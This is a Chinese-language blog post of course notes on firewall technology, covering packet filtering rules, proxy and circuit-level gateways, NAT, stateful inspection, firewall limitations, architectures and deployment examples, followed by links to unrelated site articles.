《计算机系统与网络安全》 第九章 访问控制技术

news2024/12/29 10:25:51

在这里插入图片描述

🌷🍁 博主 libin9iOak带您 Go to New World.✨🍁
🦄 个人主页——libin9iOak的博客🎐
🐳 《面试题大全》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺
🌊 《IDEA开发秘籍》学会IDEA常用操作,工作效率翻倍~💐
🪁🍁 希望本文能够给您带来一定的帮助🌸文章粗浅,敬请批评指正!🍁🐥

文章目录

  • 访问控制技术
    • 9.1 防火墙基本概念
    • 9.2 防火墙的发展历程和技术
    • 9.3 包过滤防火墙
    • 9.4 应用代理防火墙
    • 9.5 电路级网关
    • 9.6 状态检测防火墙
    • 9.7 防火墙的局限性
    • 9.8 防火墙的体系结构
    • 9.9 防火墙部署案例
  • 原创声明

访问控制技术

9.1 防火墙基本概念

接下来我们来学习防火墙。

首先看防火墙的基本概念,防火墙是网络安全的老三样之一,还包括入侵检测、防病毒。防火墙可以是一个硬件的设备,也可以是一个软件。防火墙在很多的安全防护的产品当中占的比重是比较大的。防火墙是古代人们在房屋之间修建的一座高墙,防止火灾发生的时候,这个火灾从一个房屋蔓延到别的房屋,起到一个隔绝火势的作用。

在信息网络当中,防火墙是一个高级的网络访问控制的设备,是由一系列的部件组成的这样一个设备,它的位置是位于不同的网络安全域之间,通常是在网络的边界,这个实现了把可信的内部网络与不可信的外部网络进行了隔绝。

我们再来看防火墙的功能,防火墙是内部网络和外部网络之间唯一的通道,在这个唯一的通道关卡这个地方就可以执行访问控制策略,防火墙可以监视和记录,以及允许或者拒绝进入网络的访问行为或者流量。只有经过授权的网络行为或者网络流量才能够通过防火墙,防火墙它的目的就是防止外部网络的用户以非法的手段进入到内部网络,访问我们内部的资源,同时也可以阻断内部的资源敏感信息流入到外部网络,从而保护内部的网络操作环境。防火墙就可以类比成现实当中的门禁。

9.2 防火墙的发展历程和技术

接下来我们来看防火墙的发展历程与它的技术。

防火墙的发展历程大概经过了5代。第一代是包过滤防火墙,是在20世纪80年代依附于路由器,随着网络安全的重要性和性能要求的提高逐渐就发展出了独立结构的功能的这个防火墙设备。第二代电路层防火墙是在1989年由贝尔实验室的Dave和Howard他们俩提出的。第三代就是应用层防火墙,是在20世纪90年代初推出的,又叫做代理防火墙。第4代状态检测防火墙,是1992年USCA信息学院的Bob Bradenndon,基于动态包过滤技术开发的。在94年的时候,以色列的checkpoint公司进行了商业化,推出了商业化的产品。第5代是自适应的代理防火墙,是1998年由NAI公司推出。

防火墙的技术主要分为如下这么4类,一类是包过滤技术,一类是电路级网关状态,此外还有应用代理防火墙,状态检测防火墙。

我们再来看防火墙的部署层次,不同类型的防火墙,在OSI参考模型以及TCPIP模型当中,它的部署位置是不一样的。应用代理防火墙自然就部署在应用层,而这个电路网关部署在会话层,然后包过滤防火墙就部署在网络层。

9.3 包过滤防火墙

首先我们来看包过滤防火墙。包过滤防火墙工作在网络层,它检查每一个经过的数据包它的头部信息,然后依据一套预设的规则决定丢弃或者放行该数据包。检查的包头信息包括IP包头的IP地址、协议类型、IP选项以及TCP/UDP的头部信息当中的端口号,基于规则匹配的方法来检查数据包,包过滤防火墙可以在标准的路由器上面以及专门的防火墙设备上面执行。

如下是我们包过滤防火墙的判据,就是决定一个包是否丢弃或者放行它的判断依据。

这个判断依据主要就是刚才我们提到的包头信息,包括IP包头的信息和TCP/UDP包头的信息,具体第一个就是IP地址,就是检查这个数据包从何而来,要发往何处,主要依据数据包的原IP地址以及目的IP地址,这个协议就是IP包包头当中的协议字段,然后通过这个来判断这个IP包头的上层协议的类型是这个 TCP的还是UDP的。然后是 ICMP的报文类型,通过前面的学习,我们知道很多网络扫描的数据包包括一些攻击的包。可能会伪装成ICMP的数据包。这个时候通过包过滤检查ICMP报文类型,我们就可以去阻止这样一些网络刺探的企图。下一个是IP选项,同样前面的学习当中我们也介绍了,有些攻击是基于 IP报头的IP选项字段来进行设置的,比如说这个 IP原路由或者IP分片等等。这个时候我们就可以通过让包过滤防火墙去检查IP选项的相应字段,比如说不允许分片,我们检查到IP包包含了分片的选项,就可以把这些包给净值。下一项就是TCP/UDP的端口,可以通过TCP/UDP的端口限定特定服务的访问,以及抵抗端口扫描和拒绝服务攻击。下一项是TCP的标志位ACK等等。通过这一项的检查,我们就可以判断一个连接它的建立情况是否合法。

我们再来看包过滤防火墙的配置,包过滤防火墙主要就是要制定一个安全的策略,根据刚才看到的判据,我们来确定哪些服务是允许的,而哪些服务应该被拒绝?哪些类型的包,哪些类型的包字段以及地址是允许的,而另外一些是不允许的,然后将这个安全的策略转换成包过滤的规则。

接下来我们看一下包过滤的规则。包过滤的规则是以表格形式来组织的,又称为访问控制列表,它是以某种次序排列的条件和动作的序列。

下面有一个私立表格,这个就是一个包过滤的规则表,这个表格当中的前边的若干列都是规则的条件,而最后一列行为就是规则的动作序列,也就是说前面的条件是用来匹配数据包的,如果说某一个数据包匹配了,某一条规则命中了,这个时候针对这个数据包采取的动作序列,或者说采取的行为,就是由最后一列行为来决定的。

我们可以看一下这个表当中总共有5条规则。

我们首先来看规则a,规则a指定了一个202打头的源IP地址,然后目的地址是内部网络,也就是目的IP是内部的一个网络IP地址,然后接下来协议源端口目的、端口、码字位都是所有最后行为是拒绝,这条规则的意义就是说一个数据包如果它来自于语言IP地址202.110.8.0,它到内部网络,不管它是采用什么样的协议,什么样的源端口、目的、端口、码字位,都会把这个数据包拒绝。这个实际上是一条黑名单规则,也就是说我们把这个原IP地址202点110.8.0加入了黑名单,凡是来自于这个黑名单这个 IP地址的数据包,我们不管它是要到内部网络当中的哪一个IP,采用什么协议什么端口,都把它给拒绝,都把它丢弃。第二条也就是说内部网络的主机,不管哪台主机采用什么协议什么端口,凡是你要到达这个202.110.80,这个IP地址的数据包,都不允许,都不让你出去。然后第三条规则c它的原地址是一个内部网络的地址,目的地址是一个外部网络地址,协议是TCP的,然后这个源端口是任意的,而这个目的端口是80,码子位是任意的。这条规则就是允许内部网络向外部网络发起一个TCP的针对80端口的这样一种访问请求,而80端口通常绑定到web上面,所以这一条实际上就是防火墙允许从内部网络向外部网络发起一个 web的请求,也就是通常允许内部用户去访问外部的一个网站,去发起一个请求。接下来第4条规则d实际上是对刚才第3条规则c的一个回应,也就是说内部的用户,你发起一个外部的外部访问请求之后,外部的网站对应答也要是被允许的,那这样的话才能够完成一次访问。所以第4条规则就是允许外部地址向内部地址进行一个应答,进行一个TCP80端口的应答。最后一条规则,前面的条件全部都是所有最后是拒绝。最后一条规则就是如果不满足上面4条规则当中的任何一条,就把它全部拒绝。总的来看,这样一个规则表,它就是将其中的202.110.80这个IP地址拉黑了放到了黑名单,同时允许由内部发起的向外部的web服务器的一个访问请求,其他所有的通信都是被阻断的。然后就应用包过滤规则表,然后来对这个包进行一个检查。首先应用第一条包过滤规则,来检查一下这条规则是否匹配当前这个数据包,如果命中的话,我们看一下是否允许传输,如果允许传输的话,我们就把这个包通过。然后如果不允许传输,我们看一下这个包是否应该被阻断,如果是被阻断的话,就把这个包给阻塞就是丢弃。否则的话就这个包既没有被允许也没有被阻断的话,就要来看一下当前是否是最后一条规则,如果不是的话,就继续重复应用下一个包裹的规则,

然后再对这个包进行匹配,检查是否允许还是阻断。

我们再来看一下规则制定的一些注意事项。第一个就是协议的双向性,就是很多网络协议它是代表了通信双方的交互,包含了两个方向,像刚才看到的web访问实际上会有一个请求的一个方向,还有一个应答的方向,这两个方向是相向而行的,通常就是一方请求,而另外一方应答,我们在制定规则的时候就要注意我们要允许请求,如果我们允许一方发送请求出去的话,这个时候另一方返回的应答,也应该设置相应的规则,让他通过。

第二个是向内和向外,防火墙在网络边界这个地方就自然把网络分成内部和外部,那这个时候向内和向外就是两个方向,这个时候要准确的理解,因为通常防火墙它是一个单向控制的这样一个设备,往往是一个严进宽出的这样一种策略。

另外还要注意这个默认允许与默认拒绝,默认拒绝就是没有明确的允许就应该被拒绝,这个是一个最小的特权原则的一个体现。像刚才看到,这个包过滤规则的事例当中,最后一条规则就是默认拒绝,没有命中所有的允许通过的规则,就把你的数据包给拦截下来,默认允许就是没有明确的被拒绝,被拦截的数据包就应该是允许的,就是让他通过这个规则它就没有体现最小特权。

从安全的角度来讲,使用这个体现了最小特权原则的默认拒绝规则,更合适更安全。

接下来我们来看一下包过滤的优点,包过滤的优点一方面就是不改动应用程序,它对用户来说是透明的,设置这样一个包过滤规则,并不要求应用程序或者通信的用户任何的设置,他甚至是感知不到这个包过滤防火墙的存在的。第二条就是包过滤可以在路由器上面来实现。通过添加一个包过滤的规则表,就可以让路由器具备防火墙的功能,从而协助保护整个网络。所以说早期的包过滤防火墙都是在路由器上面来实施的原因。然后包过滤防火墙它的另外一个优点就是速度快效率高,因为它检查每一个包过滤规则可以快速的进行匹配和操作。

有优点就自然有缺点。我们看一下包过滤防火墙它的缺点。一个缺点就是维护困难,包过滤防火墙,它的核心就是规则表,要正确的制定规则表是比较困难的,特别是规则表,它的规模它的条数越来越多,规模增大之后,它变得越来越复杂,难以测试,要通过构造数据包,然后来准确的命中规则表当中每一条规则加以测试是很困难的。所以规则表它的结构出现漏洞的可能性也会增大。包过滤防火墙它的第二个缺点是安全性低,当包过滤防火墙发生了故障或者配置存在错误的时候,容易让数据包直接通过。我们刚才看到包过滤的规则表,它的顺序是非常关键的,如果一条如果一个数据包本来应该被一条规则给阻止的,结果这个时候由于这个规则表的顺序设置不正确,错误的把一条允许数据包通过的规则,然后把它放到了前面那这个时候这个本应该被拦截的数据包就会被放过去。包过滤防火墙,它基于IP地址IP字段的很多信息来进行这个匹配,决定数据包是允许还是通过,但是它本身不能防止IP欺骗。比如我们刚才看到的那个包过滤规则,示例表当中的一条规则是把这个202.110.8.0这个IP地址列入到了黑名单。这个时候如果攻击者它采用IP欺骗的方式,它的IP地址本来是这个IP,他把它修改为了另外一个IP的话,它就可以躲过这个黑名单的拦截。

包过滤防火墙,它不能根据状态信息进行控制。刚才看到包过滤的规则表,它实际上是一个静态的规则表,它不能反映一些动态的状况进行动态的跟踪和控制。

另外,包过滤防火墙它是工作在网络层,并且要检查部分传输层的信息,并且还要检查部分传输成TCP/UDP。另外包过滤,防火墙工作在网络层同时要部分检查传输成TCP/UDP 的包头信息,它就不能处理更上层的信息,所以就无法对网络上面流动的信息提供全面的控制。它只检查报文的头部字段对更高层的协议,例如应用层上面的协议不具备理解能力。包过滤防火墙它无法执行某些安全的策略,不支持有效的用户认证,因为它处在网络层,它是不能对网络上层的用户提供这个识别的。

9.4 应用代理防火墙

接下来我们来介绍应用代理防火墙。

应用代理防火墙工作站应用层,又叫做应用层网关,它使用这个代理技术,所谓代理技术代理二字,意义就是代替办理代为办理的意思,它与包过滤技术完全不同,完全的阻隔网络通信,它在通信的两端,通常是客户端和服务器之间起到一个中转和代办的作用。应用代理防火墙它需要理解应用协议和应用的上下文信息,然后代理用户与远端的服务器进行连接,具体而言,它需要接收分析客户的这个服务请求。如果这个请求是经过授权的被允许的,就代理用户去取得他所需要访问的信息或者资源,然后再将这个取得的信息和资源,然后转发到客户端。这个时候内外网之间,用户和服务器之间,它不再直接通信,而通过代理服务器进行中转通信,这个可以类比我们生活当中使用的代购、外卖和中介,这些机构,然后将客户与商家进行了隔离。互联网应用层的应用有很多,应用代理服务器就需要为每一种应用服务,编制专门的代理程序,然后对应用程序它的数据进行检查,实现比包过滤防火墙更严格的安全策略。应用代理防火墙使用代理服务器来完成工作。我们在使用计算机和使用网络的时候,有时候也会用到这个代理服务器,比如打开internet选项,然后选择连接这个页面,然后在这个页面的下方选择局域网设置,在这里头我们就可以看到可以设置代理服务器的地方,可以设一个代理服务器的地址和这个相应的端口。通过这个页面我们可以设置不同类型的代理服务器,有代理这个 HTTP的,有代理FTP的,还有代理Gopher的等等不同应用的这个代理服务器,这个代理服务器通常是早期网络可能是由一个一个的局域网构成,而有些局网可能不具备连接互联网的这个通道,这个时候可以选择设置代理服务器,这些代理服务器它是连接到了internet的,这个时候就可以通过代理服务器接入互联网实现联网。

接下来我们来看一下代理服务器它的工作原理。

如图所示,代理服务器位于客户机与服务器之间,然后阻断它们之间的直接通信,然后这个代理服务器从内部网络接受并且分析客户端它的应用请求。如果这个请求是被授权的是安全的,这个时候代理服务器就代表客户端与外部真实的服务器进行通信,实际上就是把这个客户端的这个访问请求转发给真实的服务器,真实服务器接受这个请求之后,它就会进行相应的响应,那这个时候代理服务器再把这个服务器的响应接收回来,然后进行相应的安全检查,然后再转发给客户机。这里代理服务器它的工作就类比一个中间商,在客户机与服务器之间起到一个中转代理的作用。这个代理服务器最流行的方式就是双宿主网关的方式,这个宿主实际上就代表网络的接口,双宿主网关就是这样一个代理服务器,然后起到一个网关的作用,它有两个网络接口,一个网络接口面向客户机,然后它起到一个代理服务器的作用,它代表的是外部的服务器与客户机进行交互,另外一端就面向真实的服务器,它又起到一个代理客户机的作用,代替客户机与真实服务器进行交互。

接下来我们来看一下代理服务器的主要功能。一个就是刚才我们提到的充当防火墙,限制内外网间的这个直接相互访问,实施访问控制的策略。第二个就是可以节省IP开销。知道IPV4这个IP地址是非常紧俏的,特别我国分到的合法的外部的IP地址非常有限,使用代理服务器,对外就可以只有一个合法的外部IP地址,然后内部使用这个内部的地址,然后通过代理服务器实现内部地址跟外部地址之间的一个映射,这样的话就不需要租用过多的IP地址,实现IP地址的这个节约。然后第三个就是可以提高访问速度,就是当客户本身的带宽较小的时候,可以通过接入带宽较大的代理服务器实现与目标主机的连接,从而提高访问速度。另外就是代理缓冲,代理很多,它具有一个比较大的缓冲区,它可以把用户经常访问的一些资源,比如说网页或者数据缓存起来。当用户来访问服务器的时候,如果他要访问的资源或者数据在本身的缓冲当中,那这样的话也可以起到一个提高网络访问速度的作用。

这里我们通过下图来说明一下代理防火墙它的工作模型。

下图当中我们可以看到有一个局域网,局域网当中包含了若干台的主机,客户机,然后通过互联网连接了一个公共服务器,有若干的服务器,这个时候在这两者之间有局域网网关,还有就是代理防火墙,这个时候客户机如果要访问公共服务器,它就会向服务器发起一个请求,这个请求会被位于网络边界的代理防火墙给截断,然后代理防火墙就检查这个客户机他的请求是否是安全的,是否是被允许的。如果这个请求是被允许的是安全的,这个时候代理防火墙就重新产生一个这个访问请求,然后把它发送给公共服务器,然后公共服务器对这个请求进行的响应,又被代理防火墙接受过来,然后再来进行相应的安全检查,把一些可能不安全的一些不健康的内容可以做一些过滤,施加一些安全的规则或者策略在里头,然后将这个经过处理的过滤的这些响应,再把它返回给客户机,返回给用户。

接下来我们来看一下代理服务器如何利用缓存来提高用户的访问速度。

这里有一张图,有一个远程计算机,然后要访问有一台远程计算机,要通过internet访问远端的一个web服务器,这个web服务器它的前端是一个代理服务器,这个时候远程计算机远程的客户机来访问这个 web服务器的时候,他的访问请求就会先经过代理服务器,而这个代理服务器有一个比较大的缓存,这个缓存会将很多用户频繁访问的一些资源,比如说网页它会把它缓存起来,这个时候当用户的访问请求到了代理服务器之后,代理服务器会分析用户的访问请求,查看客户要访问的资源是否在他的缓存里面,如果在代理服务器的缓存里面,代理服务器就可以直接从它的缓存当中把用户需要访问的资源数据返回给用户,从而可以实现一个快速的响应。如果这个缓存当中没有用户要访问和请求的资源,也就是说这个缓存没有命中,这个时候代理服务器再把用户的这个访问请求转发到真正的web服务器,然后再去取这个外部服务器上的资源反馈给用户。

接下来我们来看一下代理服务器它的配置与实现。

代理服务器位于内外网络之间,通常部署成一个双数组的网关,双数组就会有两个网络接口,通俗而言就是有两个网卡,一个网卡对外连接到互联网internet,一个对内就连接到内部的网络,通常这样一个结构叫做堡垒主机结构,也就是代理服务器工作在内外网之间形成一个攻防的堡垒。

接下来我们来分析一下代理技术它的优缺点。

首先看优点。代理技术代理防火墙工作在应用层,它必须要理解应用层的具体内容,它就能够过滤数据内容,因为它可以理解数据,所以就可以实时过滤。第二就是它可以完全的控制会话,安全性比包过滤防护墙要高。另外由于可以完整的控制会话,它就可以提供详细的日志和安全审计功能。然后另外代理技术可以方便的与其他的安全手段集成,包括认证加密,然后代理技术,然后代理防火墙可被配置成唯一的可被外部看见的主机,从而防止对外网暴露内网的结构。最后,代理技术可以解决IP地址不够用的问题。

我们再来看缺点,代理技术的一个缺点就是难于配置,因为代理需要针对每个应用单独来开发代理进程,这个就要求理解每项应用协议它的弱点,并且合理的配置安全策略,

这个工作量是比较大的,配置比较繁琐,难以理解,就容易出现这个配置错误,最终影响这个安全防护能力。第二个缺点是处理速度慢,代理技术它位于客户机与服务器之间,完全的阻断了两者的直接连接,一个连接改为两个连接,势必造成网络延迟的增加和这个网络通信开销的增加。

第二就是每个应用会话都需要开一个单独的代理进程,处理延迟就会增大,能够处理的会话和连接性是有限的。

第三个缺点是对用户是不透明的,因为在应用层要对每个应用要开发独立的这个代理进程,可能有些还需要我们用户来进行相应的配置,比如配置代理服务器的这个地址端口等等,对用户不透明就会带来一定的开销,降低用户效率。然后第4点就是代理服务,他不能保证免受所有协议弱点的限制。还有代理技术,它是工作在应用层,这个时候它对底层协议的安全性就没有改善,不能改进底层协议的安全性。

9.5 电路级网关

接下来我们来看电路级网关。

电路级网关是工作在会话层或者传输层,监控内外主机之间的TCP握手信息,决定这个会话是否是合法的,具体而言,它就是接收客户端的TCP连接请求,然后代理客户端与服务端完成这个三次握手,完成网络连接。进一步他检查双方的SOCKS和序列数据是否合逻辑,来判断这个 TCP的连接请求是否是合法的,合法就帮助通信的双方建立连接,如果不合法就丢弃。一旦这个连接建立好了之后,它就仅在客户与服务器之间进行中转数据,也就是转发,也就是复制和传递这个数据,而不进行其他的过滤。使用这个Socks,协议的电路称网关是最流行的,叫做Socks代理,Socks代理又叫做通用代理服务器,有时候又叫做透明代理服务器,它跟我们前面介绍的应用层代理不一样,由于工作的层次不一样,他工作在更下层,它只简单的传输数据,而不关心它是何种应用协议,比其他应用代理要快得多,通常绑定在1080端口上面。我们可以通过前面介绍的在internet选项当中,在设置代理服务器的这个页面当中,我们可以Socks代理的设置,上面几种就是针对应用层的不同的协议提供的代理服务,而这个Socks代理就是在会话层或者传输层提供的这个通用代理服务器,一旦在这个地方设置了代理服务的话,它就可以被上层的各种不同的应用所共享。刚才看到电路级网关只在TCP建立连接的过程当中发挥作用,它的安全性相对较弱,常用于向外的连接,因为防火墙往往是执行一个严进宽出的策略,就是对进入到网络内部的流量进行严格的管控,但是对出去的流量不严格的控制。

我们前面介绍的双宿主主机的堡垒主机可以设置成为混合网关,对外出的连接可以采用电路层的网关,方便内部用户去访问internet的服务。然后对进入网络内部的这个连接,采用应用层的网关,然后提供保护内部网络免于受到外部攻击的这个应用代理服务器的防火墙功能。网络地址转换也是电动车网关常常提供的一个功能。这个网络地址转换就是将内部网络的主机地址,然后转换为某一个固定的或者某个范围内的外部合法IP地址。这样的话一方面可以节省IP地址,另一方面可以使外部网络的主机攻击者没有办法探测到内部网络的这个结构和这个主机。

这个网络地址的转换有几种类型。

一种就是静态的网络地址转换,静态的网络地址转换是将内部的CUIP地址转换为外部的公有IP地址,一对一的转换,固定的转换。

第二种是动态地址转换,就是将内部的IP地址随机的转换为多个合法的外部IP地址当中的一个。

第三类是端口转换,内部所有的主机对外共享一个外部的合法IP地址,这个时候内部IP地址加上它的源端口,就可以把它映射到这个外部的合法IP地址,它的大于1024的这个端口上面去,因为这个小于1024的端口是一些公共的固定的这个端口,已经绑定到一些合法的服务上了,所以通常会把它映射到大于1024的端口上面。

9.6 状态检测防火墙

下面我们来介绍状态检测防火墙,状态检测防火墙采用状态检测,包过滤技术,它是基于连接状态的一种检测机制,它在包过滤的同时检查数据包之间的关联性,将同一个连接的所有数据包作为一个整体的数据流看待,包括从连接的发起到结束的这样一个全过程,然后构成连接状态表。它要检查包括链路层、网络层、传输层、应用层的各种信息,结合包过滤规则表和状态表,决定一个包是否允许通过。状态检测防火墙它的核心就是动态的连接状态表,它的数据或者说它的表象,一个就是以前的通信信息,也就是当前已经建立好的TCP连接,

然后另外就是相关应用程序的信息,这种技术支持多种协议和应用可以方便的实现应用和服务的扩充。

这里有一张图是TCP的状态转换图,从这张图当中我们可以看到,TCP从这个三次握手开始到这个连接建立的数据传输状态,以及这个连接的关闭过程,各个状态以及状态之间的转换的过程。状态检测防火墙就是通过状态连接表去反映TCP的状态以及状态之间的改变。如果属于合法的TCP状态或者TCP连接,我们就允许它通过,如果不合法的话,我们就把它拒绝。

这里我们对比一下包过滤规则跟状态检测规则,上面就是包过率规则,包过率规则前面介绍过分成了两个部分,每一条规则前面是条件,后面是这个条件的相应的操作。下面是一个示例的状态检测规则表,有三条规则,第一条规则就是数据包是先前连接的一部分,也就是当前这个数据包在之前已经建立好连接了,这个数据包是它的一部分,那这个时候这个数据包就是一个合法的数据包,相应的行为就是允许的,允许通过。第二条就是先前有出站的数据包,当前这个数据包就是对先前出站的数据包的一个应答,这个数据包也应该是被允许的。第三条就是其他就是不满足前两条规则,就是其他的数据包,这些数据包就是被拒绝的不合法,这里是一个状态表的示例,这个就根据刚才的状态检测规则,然后来形成的一个状态表,这个状态表当中就包含了当前已经建立好的若干个TCP连接,每一条就是一个连接。这个状态表会随着网络通信,然后逐渐的变得庞大,会记录很多已经当前建立好的连接。当这个状态表比较大的时候,可以使用哈希算法来进行快速的搜索。

接下来我们看一下状态检测防火墙它的工作过程。

首先在TCP连接建立之前,这个状态表是空的,当前还没有连接,这个时候就使用普通包过滤的规则来进行一个安全检查。一旦连接建立成功了,我们就可以把这个连接添加到连接状态表当中,然后有了连接状态表当中有了相应的表象,就可以使用这个连接状态表去匹配当前我们经过的数据包进行这个状态的检查。

接下来我们同样分析一下状态检测防火墙它的优缺点,优点就是它的安全强度更高,配置比较灵活,然后应用范围也更广。它的缺点是它主要检测数据包的第3第4层的信息,没有办法彻底的识别数据包当中的大量的垃圾邮件,广告以及木马程序。因为它不像应用代理防火墙,可以完整的理解应用层上面的信息,然后另外它也不能满足用户对安全性的不断的要求。所以后面所以在状态检测防火墙之后,又有更深度的包检测防火墙技术被提出来。

9.7 防火墙的局限性

刚才我们介绍了防火墙的几种实现技术,接下来我们来总结分析一下防火墙的局限性。

首先就是防火墙可能被绕开,的防火墙工作在网络的边界,在内部的网络,通过拨号等等这样一些方式,这个时候防火墙就可以被绕开,一旦防火墙被绕开之后,防火墙就不能起到一个安全控制的作用。第二是防火墙不能防范内部攻击,因为它工作在网络边界,就好比校园的保安,他工作在校门入口这个地方,它对校园内部,宿舍,教室发生的一些安全事件,它是无能为力的,防火墙也是一样的,无法防止内部的人员,比如说将这个敏感数据拷贝到U盘上面,或者在内部进行一些攻击行为。第三是不能防范没有安全意识的管理员,授予某些入侵者临时网络访问权限。防火墙严格根据这个安全的规则策略来工作,然后如果管理员授予了入侵者临时的权限,这个时候这些入侵者的行为他是经过授权的,在防火墙看来就是合法的,然后就是防火墙不能防止传送被病毒感染的程序文件或者邮件,因为防火墙它不对文件进行扫描,防火墙它工作在网络的出入口,它容易成为网络的性能瓶颈,容易造成单点失效。防火墙严格的基于既有的这个规则,它不能防范这个新的一些安全问题。

9.8 防火墙的体系结构

接下来我们来介绍一下防火墙的体系结构,防火墙的主要体系结构包括了如下的4类,屏蔽路由器,、双重宿主体系结构、屏蔽主机体系结构和屏蔽子网体系结构。

首先我们来看这个屏蔽路由器结构,这个屏蔽路由器这个体系结构就是在内部网络和外部网络之间,部署一个简单的包过滤防火墙,通常是在路由器上面添加一个包过滤规则表,就构成了这样一个体系结构。

第二种是双重宿主主机体系结构,就是在内外网之间,然后部署一个双重数组的这样一个防火墙,这就构成了一个堡垒主机,有两个网络接口,一个对内一个对外,这个堡垒主机通常采用应用代理的这个技术,它可以维护系统日志和远程的日志,当然这个堡垒主机它的安全性就受限于这个堡垒主机了,堡垒组建的任何的安全缺陷都会影响到防火墙的安全性,要保卫前面的屏蔽路由器就比保卫堡垒主机要容易实现。一旦攻击者侵入或者攻破了堡垒主机,这个时候这个堡垒主机就起不到它的安全作用了。所以后来就产生了屏蔽主机的这样一种体系结构。屏蔽主机就是在刚才的堡垒主机的前面,再部署一个路由器,充当包过滤防火墙,形成了两重的防火墙体系结构。

接下来我们介绍屏蔽子网体系结构。屏蔽子网体系结构在堡垒主机的前后,分别部署了一个包裹力防火墙,一个对外一个对内,在堡垒主机边上就形成了一个受保护的子网、DMZ区,这个区域通常会放置一些需要与外界频繁交互的服务器,比如说邮件服务器,web服务器,通过将这些服务器放到这个区域,可以实现与内部的局域网当中的主机之间一个隔离,这些频繁与外界交互的服务器,把一些安全风险引入到内部局往来。

9.9 防火墙部署案例

我们来介绍几个典型的防火墙部署案例。

第一个案例是一个中型的企业,这个部署方案就是刚才看到的典型的屏蔽子网的体系结构,防火墙后端连接这个内部网络的是一个带路由模块的三层交换机,通过内部网络,又把它分成了几个虚拟的子网,然后在防火墙的外面是一个路由器,通过SP互联网服务提供商接入到互联网internet,然后在防火墙的边上是DMZ区,一个专门的虚拟的子网,然后部署了web服务器,邮件服务器跟数据库服务器。接下来我们来看一下一个规模更大的移动公司的案例,移动公司在很多省市都有它自己的网络,这里我们看一个某移动公司在某一个省的网络情况,首先它会有一个省中心,然后在一些重要的地市会有它的这个相应的中心一个网络,这些省中心以及地市的中心通过广域网连接起来,这个省中心和其他地市的这个中心都采用这个屏蔽子网的这个体系结构,只是这个防火墙它采用了双击的结构,因为我们前面讲过防火墙容易成为一个性能的瓶颈或者单点失效的这样一个点,所以采用双机结构就可以进行互为备份。
在这里插入图片描述

就学校的校门一样,如果这个校门它的流量太大了,它的安全检查它的通行效率比较低的时候,这个时候就可以设置多道校门,然后护卫备份,就可以疏散这个流量,缓解这个性能瓶颈和单点失效的问题。

我们再来看一个外资公司的案例,这个公司总部与这个公司总部与分支机构以及分支机构之间要进行一个安全的或者保密的通信,就可以利用防火墙来架设这个 VPN,实现这个安全的保密的通信。同时远程的客户也可以通过VPN接入到网络当中,与公司的总部或者分支机构进行这个安全的通信。

原创声明

=======

作者: [ libin9iOak ]


本文为原创文章,版权归作者所有。未经许可,禁止转载、复制或引用。

作者保证信息真实可靠,但不对准确性和完整性承担责任。

未经许可,禁止商业用途。

如有疑问或建议,请联系作者。

感谢您的支持与尊重。

点击下方名片,加入IT技术核心学习团队。一起探索科技的未来,共同成长。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693225.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2022(二等奖)C859基于WebGIS的南京市排污口管理系统

作品介绍 一、需求分析 (一)社会需求 《国务院办公厅关于加强入河入海排污口监督管理工作的实施意见》明确提出,入河入海排污口(以下简称排污口)是指直接或通过管道、沟、渠等排污通道向环境水体排放污水的口门,是流…

Day40

思维导图 练习 定义一个命名空间Myspace,包含以下函数:将一个字符串中的所有单词进行反转,并输出反转后的结果。例如,输入字符串为"Hello World",输出结果为"olleH dlroW",并在主函数…

Visual C++中的虚函数和纯虚函数的定义

我是荔园微风,作为一名在IT界整整25年的老兵,今天来说说Visual C中的虚函数和纯虚函数。 直接说虚函数和纯虚函数有很多人会直接晕,但是来看这篇帖子的很多人是有JAVA或其他面象对象编程基础的,我要不就先作个类比,究…

【Java面试题】Java基础——排序算法

文章目录 冒泡排序★★★算法步骤动图演示代码示例 选择排序算法步骤动图演示 插入排序算法步骤动图演示 快速排序算法步骤动图演示 冒泡排序★★★ 冒泡排序(Bubble Sort)也是一种简单直观的排序算法。 它重复的遍历过要排序的数列,一次比…

Debian 12 “bookworm” 正式发布

经过 1 年 9 个月零 28 天的开发,Debian 项目推出了其新的稳定版本 12(代号 bookworm)。 Debian 12 包含超过 11,089 个新软件包,总计 64,419 个软件包, 6,296 个软件包已作为过时包删除。此版本更新了 43,254 个软件…

threejs让模型始终面向相机

需求:threejs导入3D模型,改变相机位置的同时,让模型始终面向相机。 实现方式:使用模型的lookAt()方法,设置模型lookAt的值 首次加载模型时,面向相机 load.load(/model5.glb, g > {// 获取相机位置const…

浮点数不再神秘:JS浮点数精度详解

文章目录 I. 引言JS中什么是浮点数为什么精度会受到影响 II. 浮点数精度的问题浮点数精度丢失的例子JS中最常见的浮点数问题精度问题对计算的影响 III. 如何避免浮点数精度问题使用精度库避免精度错误的方法显示控制精度的方法 IV. 浮点数精度问题与前端开发前端开发中的浮点数…

在k8s上部署vue

1. dockerfile镜像文件编写 # 拉取 nginx镜像 FROM nginx:1.24.0# 拷贝 nginx 配置文件到 docker中 COPY nginx.conf /etc/nginx/nginx.conf# 拷贝vue打包后的文件到 docker中 COPY webapp /usr/share/nginx/html# 新增时区设置 RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai…

【FreeRTOS】FreeRTOS 静态创建任务与删除

0. 实验准备 正点原子 STM32407ZG 探索者开发板 FreeRTOS 例程模板(可以在这一篇文章找到:STM32F407 移植 FreeRTOS) 1. 静态创建任务函数 API 1.1 函数简介 动态创建任务需要使用到BaseType_t xTaskCreate函数,我们可以在 Fr…

VUE L ∠脚手架 插曹Vuex ⑩⑨

目录 文章有误请指正,如果觉得对你有用,请点三连一波,蟹蟹支持✨ V u e j s Vuejs Vuejs C L I CLI CLI 插槽 ❗ C L I CLI CLI V u e X VueX VueX 1、概念 2、何时使用? 3、搭建 V u e x Vuex Vuex环境 4、基本使用…

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一,前言二,具体步骤1.软件下载2.环境配置 三,基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一,前言 在执行某…

Spring学习(一)(IoC和DI)

